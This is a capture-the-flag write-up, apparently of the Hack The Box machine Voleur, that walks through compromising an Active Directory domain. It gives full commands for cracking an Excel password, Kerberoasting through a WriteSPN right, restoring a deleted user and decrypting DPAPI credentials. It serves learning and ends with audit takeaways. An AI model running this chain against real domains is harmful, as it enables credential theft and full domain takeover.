Setup and Initial Access
Voleur is an assumed breach scenario — the machine hands you a starting pair of low-privileged domain credentials rather than expecting you to find your way in from the outside. The starting account is ryan.naylor. Before doing anything else, I synchronised my system clock with the domain controller using ntpdate. This is non-optional in a Kerberos-only environment: even a few minutes of clock skew will cause all ticket requests to fail with KRB5KRB_AP_ERR_SKEW.
sudo ntpdate -u voleur.htb
# Add voleur.htb and DC hostname to /etc/hosts
# Confirm Kerberos auth works
nxc smb voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' --kerberos
With the clock in sync, I confirmed the credentials were valid against SMB using NetExec. NTLM authentication was enforced as disabled at the domain level — every tool in the chain needed to be configured for Kerberos.
SMB Enumeration — Finding the Excel File
Enumerating accessible shares as ryan.naylor revealed a non-default share with read access. Inside was a password-protected Excel spreadsheet. This is a classic breadcrumb — a protected Office file on a share typically means credentials or sensitive data are stored inside it, with the file password as the only barrier.
nxc smb voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' --kerberos --shares
smbclient //voleur.htb/[share] -k -U 'VOLEUR\ryan.naylor%HollowOct31Nyt'
# Download the .xlsx file
Cracking the Spreadsheet
Office documents encrypt their contents using a key derived from the file password. office2john extracts a crackable hash from the document, and hashcat handles the rest against rockyou.txt:
office2john protected.xlsx > excel.hash
hashcat -m 9600 excel.hash /usr/share/wordlists/rockyou.txt
The password cracked in a short time. Opening the spreadsheet revealed a set of internal user accounts with associated notes — one entry in particular caught my eye: a service account with a manually configured SPN.
Targeted Kerberoasting via WriteSPN
With the spreadsheet data in hand, I turned to BloodHound to map out the full privilege graph. Ingesting domain data via bloodhound-python over Kerberos and analysing the results revealed that ryan.naylor held WriteSPN rights over a service account — the ability to write arbitrary Service Principal Names to that account's AD object.
WriteSPN is a powerful DACL right that is frequently overlooked in AD audits. It enables a targeted Kerberoasting attack: you register a fake SPN on the target account, request a service ticket for it, and crack the ticket offline — regardless of whether the account ever ran a real service.
# Request a Kerberos TGT for ryan.naylor
getTGT.py 'VOLEUR/ryan.naylor:HollowOct31Nyt'
export KRB5CCNAME=ryan.naylor.ccache
# Write a fake SPN to the target service account
python3 bloodyAD.py -d VOLEUR -u ryan.naylor -k --dc-ip [DC_IP] \
set object [svc_account] servicePrincipalName -v 'fake/voleur.htb'
# Kerberoast the account — extract the TGS hash
GetUserSPNs.py -k -no-pass VOLEUR/[email protected] \
-usersfile target_accounts.txt -outputfile kerberoast.hash
Cracking the resulting TGS hash with hashcat mode 13100 yielded the service account's cleartext password. I tested it for WinRM access and gained an interactive shell as the service account.
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
evil-winrm -i voleur.htb -u [svc_account] -p '[cracked_password]' --kerberos
Privilege Escalation — DPAPI Credential Decryption
From the service account shell, I continued enumerating the domain with BloodHound. The graph revealed a path: the service account had the ability to restore a previously deleted domain user from the AD Recycle Bin. After restoring that user and resetting their password, I gained access to a third account.
# Restore deleted AD user using AD Recycle Bin group privileges
Get-ADObject -Filter {isDeleted -eq $true} -IncludeDeletedObjects | Select Name
Restore-ADObject -Identity [deleted_user_DN]
Set-ADAccountPassword -Identity [restored_user] -Reset -NewPassword (ConvertTo-SecureString "NewPass123!" -AsPlainText -Force)
This restored user had a DPAPI-protected credential blob stored in their profile — a common artefact left behind when Windows automatically saves credentials entered via GUI prompts. DPAPI blobs are encrypted with a key derived from the user's password, which means decryption requires the plaintext password of the account that created them.
# On the target — locate DPAPI credential files
dir C:\Users\[restored_user]\AppData\Roaming\Microsoft\Credentials\ -Force
# Transfer the blob and master key files back to Kali
# Decrypt offline with impacket-dpapi
dpapi.py credential -f [credential_blob] -k [master_key] \
--password [restored_user_password]
The decrypted blob revealed plaintext credentials for a domain administrator account. Testing them against WinRM granted full shell access, and the root flag was retrieved from the Administrator's desktop.
Takeaways
- Assumed breach scenarios are the closest HTB gets to simulating a real post-phishing engagement. The attack surface shifts entirely to internal AD misconfigurations rather than perimeter vulnerabilities — which reflects the reality of most modern intrusions.
- WriteSPN as an escalation path is underappreciated. It doesn't require the target account to actually run a service — any account with a SPN (even a fake one) can be Kerberoasted. AD delegations should be audited specifically for this right.
- DPAPI credential blobs are a goldmine in post-exploitation. Any time a user has authenticated to an internal service via a Windows GUI prompt, there's a chance those credentials have been persisted to disk — fully recoverable with the account password.
- Kerberos-only environments add friction but don't stop the attack — all the same techniques apply, they just require careful clock synchronisation and the right tool flags.